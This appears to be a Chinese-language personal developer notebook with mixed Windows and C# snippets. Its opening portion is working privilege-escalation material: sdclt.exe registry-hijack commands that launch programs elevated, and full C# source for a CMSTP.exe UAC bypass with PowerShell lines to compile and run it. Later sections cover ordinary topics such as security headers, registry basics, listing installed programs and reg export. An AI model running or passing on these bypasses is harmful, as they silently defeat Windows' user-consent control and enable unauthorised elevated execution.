使用 sdclt 绕过 UAC 的新方法

https://nosec.org/home/detail/2205.html

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c notepad.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

%windir%\system32\sdclt.exe

reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f


regedit.exe

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c regedit.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

explorer

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c explorer.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c prjSt.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c D:\2019千機專案原始碼\檔案監控_20200504\原始碼\pt_練習範例\本機電腦名稱及呼呼程式\prjSt\prjSt\bin\Debug\prjSt.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

taskkill /f /im cmd.exe

2020年6月24日 星期三

使用 sdclt 绕过 UAC 的新方法

繞過UAC系列之 SDCLT的利用


機碼登錄與三種格式(REG、INF、BAT)介紹



https://nosec.org/home/detail/2205.html

https://kknews.cc/zh-tw/code/k693ozq.html

https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/

=============================================================
/*
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
Research on CMSTP.exe

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;


  public  class CMSTPBypass
    {
        // Our .INF file data!
        public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

        [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

        public static string BinaryPath = @"c:\windows\system32\cmstp.exe";

        /* Generates a random named .inf file with command to be executed with UAC privileges */
        public static string SetInfFile(string CommandToExecute)
        {
            string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
            string TemporaryDir = @"C:\windows\temp";
            StringBuilder OutputFile = new StringBuilder();
            OutputFile.Append(TemporaryDir);
            OutputFile.Append("\\");
   
            OutputFile.Append(RandomFileName);
            OutputFile.Append(".inf");
            StringBuilder newInfData = new StringBuilder(InfData);
            newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
            File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
            return OutputFile.ToString();
        }

        public static bool Execute(string CommandToExecute)
        {
            if (!File.Exists(BinaryPath))
            {
                Console.WriteLine("Could not find cmstp.exe binary!");
                return false;
            }
            StringBuilder InfFile = new StringBuilder();
            InfFile.Append(SetInfFile(CommandToExecute));

            Console.WriteLine("Payload file written to " + InfFile.ToString());
            ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
            startInfo.Arguments = "/au " + InfFile.ToString();
            startInfo.UseShellExecute = false;
            Process.Start(startInfo);

            IntPtr windowHandle = new IntPtr();
            windowHandle = IntPtr.Zero;
            do
            {
                windowHandle = SetWindowActive("cmstp");
            } while (windowHandle == IntPtr.Zero);

            System.Windows.Forms.SendKeys.SendWait("{ENTER}");
            return true;
        }

        public static IntPtr SetWindowActive(string ProcessName)
        {
            Process[] target = Process.GetProcessesByName(ProcessName);
            if (target.Length == 0) return IntPtr.Zero;
            target[0].Refresh();
            IntPtr WindowHandle = new IntPtr();
            WindowHandle = target[0].MainWindowHandle;
            if (WindowHandle == IntPtr.Zero) return IntPtr.Zero;
            SetForegroundWindow(WindowHandle);
            ShowWindow(WindowHandle, 5);
            return WindowHandle;
        }
    }
===================================================================

Add-Type -TypeDefinition ([IO.File]::ReadAllText("Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTPUACBypass.dll"

 [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("CMSTPUACBypass.dll"))

[CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

2020年6月10日 星期三

2020年6月9日 星期二

C# 想讓winform 啟動 → 隱藏 使用 Hide 順便練習WinForm的生命周期

http://blueweite.blogspot.com/2014/06/c-winform-hide-winform.html


補充,這樣寫最簡單
private void Form1_Shown(object sender, EventArgs e)
{
     this.Hide();  // 表單隱藏
}

Missing or insecure HTTP Strict-Transport-Security Header

https://www.twblogs.net/a/5c8c9006bd9eee35fc14f806

修復:參考(六)

六、Missing or insecure HTTP Strict-Transport-Security Header

描述:
用來配置瀏覽器和服務器之間安全的通信,它主要是用來防止中間人攻擊,因爲它強制所有的通信都走TLS;此設置在https中才有效
max-age=31536000 – 告訴瀏覽器將域名緩存到STS list裏面,時間是一年。  
max-age=31536000; includeSubDomains – 告訴瀏覽器將域名緩存到STS list裏面並且包含所有的子域名,時間是一年。  
max-age=0 – 告訴瀏覽器移除在STS緩存裏的域名,或者不保存此域名。
修復:
在站點的web.config配置文件中添加如下響應頭
<system.webServer>
  <httpProtocol> 
    <customHeaders>
      <add name="X-Content-Type-Options" value="nosniff"/>
      <add name="X-XSS-Protection" value="1;mode=block"/>
      <!--add name="X-Frame-Options" value="SAMEORIGIN"/-->
      <add name="Content-Security-Policy" value="default-src 'self'"/>
      <add name="Strict-Transport-Security" value="max-age=63072000"/>
    </customHeaders>
  </httpProtocol>
</system.webServer>

C# 執行外部exe

using System.Diagnostics;

ProcessStartInfo Info = new ProcessStartInfo();

Info.FileName = "xxx.exe"; //執行的檔案名稱

Info.WorkingDirectory = @"C:\xxx\xxx"; //檔案所在的目錄

Process.Start(Info);

2020年6月4日 星期四

機碼說明

  • 登錄檔(Registry):Windows 作業系統內建的一個樹狀、有階層式,存放所有電腦相關設定資訊的資料庫。
  • 子機碼- 樹狀子目錄及識別碼的次級
  • Hive - Each hive contains a registry tree, which has a key that serves as the root or starting point of the tree. 例如增加一個電腦使用者時,HKEY_USERS 機碼下會新增一個 user profile hive,包含新使用者的應用程式、桌面、網路連線等設定
  • 登錄值主要存在兩個檔案中:System.dat 與 User.dat
    • System.dat 存放電腦目前的使用設定資料。
    • User.dat 存放使用者的設定資料
      • 安裝在電腦上的程式有哪些、每個程式可以建立的文件類型、資料夾與圖示等屬性設定。
      • 系統上有哪些硬體存在。
      • 正在使用連接埠 (port) 是哪幾個。
  • 登錄檔編輯程式(登錄檔的檔案總管):Regedit.exe,透過此程式(or command-line registry tools like: Reg.exe; Reg means Registry)才允許存取或修改登錄檔。
  • 可以用 Windows Sysinternals Tools - Process Monitor 來監控 Registry activity。

登錄的六大「機碼」及三大「數值」。
  • Registry 依照 Windows 的需求主要可分為六大機碼,讓系統依照這些設定來運作。副檔名為「.reg」。
  • Root Key 的開頭會是H,因為 root-key 代表的是Windows handles (H) to keys (KEY).

六大機碼(系統設定)
  1. HKEY_CURRENT_USER - HKEY_CURRENT_USER為HKEY_USERS的子機碼。HKEY_CURRENT_USER機碼記載著目前正在用電腦的使用者資料(包含軟體、系統的配置與偏好設定)。所以不同的使用者用不同的帳號登入系統,會看見不同的「桌面設定」或「開始」功能表。
  2. HKEY_USERS - 紀錄著所有該機器使用者(有 loaded 初始化過的)的資料。
  3. HKEY_CLASSES_ROOT - 記載著各種副檔名的類型,如「.doc」的檔案,就被定義為文字檔,並且記錄將用何應用程式(例如:Microsoft®的Word)來開啟此一類檔案。當下次在點擊此一類檔案,系統就會直接用相對應的應用程式來開啟。
  4. HKEY_LOCAL_MACHINE - 電腦各種硬體設定等系統相關的資料。如BIOS或各種週邊、印表機、光碟機、數據機等等。
  5. HKEY_PERFORMANCE_DATA - 存取 Performance counter 的資訊。
  6. HKEY_CURRENT_CONFIG - 記載目前使用硬體的設定,為一特定使用者(HKEY_CURRENT_USER)對應的電腦各種硬體設定的資料(HKEY_LOCAL_MACHINE機碼)。現在 Windows 已經沒有採用 hardware profile,不過為了向下相容,此 key 還是保留著。

(補充)HKEY_DYN_DATA機碼﹝Windows 98/Me only﹞:Windows 98/Me的使用著才會用到。HKEY_DYN_DATA機碼是存在於記憶體里的動態資料。每次開機時,Windows都會建立此機碼的資料,關機時,此機碼的資料就消失了。HKEY_DYN_DATA機碼的主要功能是用來監視系統功能,實質上並無新增或修改機碼的必要。

三大數值
登錄檔中的登錄值類型有12種,不過實際可能用到的類別只有6種,也就是在登錄編輯程式右邊窗 格空白處按右鈕並執行新增命令後,可以增加的6種登錄值。
機碼內常用到的有三種「數值」檔案:字串值、二進位值、DWORD值,以及這三類檔案的變形:多字串值、可擴充字串值、QWORD,這些檔案則分別記載著各項系統的不同設定值。
  1. REG_SZ - 字串值:用來儲存字串(Unicode)。字串包括字、整數、小數點及負數。字串值儲存數字,電腦處理的轉譯過程會較耗時。
  2. REG_Binary - 二進位值:用二進位值儲存資料,如「00 01 00 05 …」。較不易看出所儲存資料的內容。
  3. REG_DWORD:可以是十進位或十六進位來編輯,但不能是負數,如「#3333FF (16)」,括弧里表示十六進位,顏色表示是最常用的DWORD值,#3333FF (16)在這裡是「藍色」的意思。

NOTE:登錄檔中沒有區分大小寫,不管使用大寫或小寫字母,系統都視為相同字母。不過為了方便閱讀而區分大小寫,實際輸入時,可以依照自己的習慣來決定使用大寫或小寫字母。

REGEEDIT
整個登錄檔的內容主要是由「機碼」與「登錄值」所構成,左邊窗格如同資料夾圖示一般的就是「機碼」,而在右邊窗格中一列一列的項目為「登錄值」,上方為功能表,下方為狀態列,下面就針對「登錄編輯程式」各功能做解說。
  • 功能表:regedit登錄編輯程式的功能表,介面相當簡單易用,沒有什麼複雜的功能。
  • 機碼區:左邊類似目錄的欄位,就是記載機碼的地力,機碼原文Key,它的圖示和檔案總管中的資料夾 是一樣的,不僅如此,它在登錄檔中的定位和資料夾也頗類似的,而在每個機碼下的其他機碼,我們稱 它為「子機碼」(SubKey)。
  • 數值區:在右邊則是數值區,記載著各種不同的登錄值,如果說機碼類似資料夾,那登錄值就是儲存 在資料夾裡的檔案,每個登錄值都具有名稱、類型,資料等欄目,這是我們實際要修改的數值資料,我們也可以直接按下滑鼠右鍵新增登錄值資料。
  • 狀態列:可以顯示目前regedit登錄編輯程式的位置,在「深入」複雜的機碼目錄後,這個狀態列相當好用[3]。

References


截取自

機碼

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Programs_List
{
    public partial class Form2 : Form
    {
        public Form2()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string x = "";
            string uninstallKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall";
            using (RegistryKey rk = Registry.LocalMachine.OpenSubKey(uninstallKey))
            {
                foreach (string skName in rk.GetSubKeyNames())
                {
                    using (RegistryKey sk = rk.OpenSubKey(skName))
                    {
                        try
                        {                           
                            var displayName = sk.GetValue("DisplayName");
                            var size = sk.GetValue("EstimatedSize");
                            if (displayName != null)
                            {
                                if (displayName.ToString() == "FortiClient")
                                {
                                    //x = sk.ToString();
                                    x = skName;
                                }                                                                 
                            }
                        }
                        catch (Exception ex)
                        { }
                    }
                }
     
            }
            textBox1.Text = x;
        }
    }
}
========================================================================

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Programs_List
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void action_btn_get_Click(object sender, EventArgs e)
        {
            string uninstallKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall";
            using (RegistryKey rk = Registry.LocalMachine.OpenSubKey(uninstallKey))
            {
                foreach (string skName in rk.GetSubKeyNames())
                {
                    using (RegistryKey sk = rk.OpenSubKey(skName))
                    {
                        try
                        {
                            MessageBox.Show(sk.ToString());
                            var displayName = sk.GetValue("DisplayName");
                            var size = sk.GetValue("EstimatedSize");

                            ListViewItem item;
                            if (displayName != null)
                            {
                                if (size != null)
                                    item = new ListViewItem(new string[] {displayName.ToString(), 
                                                       size.ToString()});
                                else
                                    item = new ListViewItem(new string[] { displayName.ToString() });
                                lstDisplayHardware.Items.Add(item);
                            }
                        }
                        catch (Exception ex)
                        { }
                    }
                }
                label1.Text += " (" + lstDisplayHardware.Items.Count.ToString() + ")";
            }  
        }

    }
}

如何自動匯出機碼

http://alexchuo.blogspot.com/2005/05/blog-post.html

如何自動匯出機碼

一般我們匯出機碼會使用 regedit.exe 或 regedt32.exe,然後找到要匯出的機碼,再行匯出。若欲達到自動匯出機碼時,就需要使用 reg.exe 這個程式(在 Windows XP 之後的作業系統已經內建,在 Windows 2000 或 NT4,則需安裝 Resource Kit),其匯出的語法與範例如下:

語法:
reg export KeyName FileName  

說明:  
KeyName 指定子機碼的完整路徑。從適當的樹狀子目錄作為路徑開頭。有效的樹狀子目錄是 HKLM、HKCU、HKCR、HKU 及 HKCC。  
FileName 指定要匯出的檔案名稱及路徑。檔案必須有 .reg 副檔名。  

範例:
reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Run.reg  

說明:
將 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 匯出成 Run.reg  

注意:
  1. reg export 只能在本機電腦上執行,亦即無法匯出遠端電腦的機碼。
  2. 搭配工作排程即可達到定時自動匯出機碼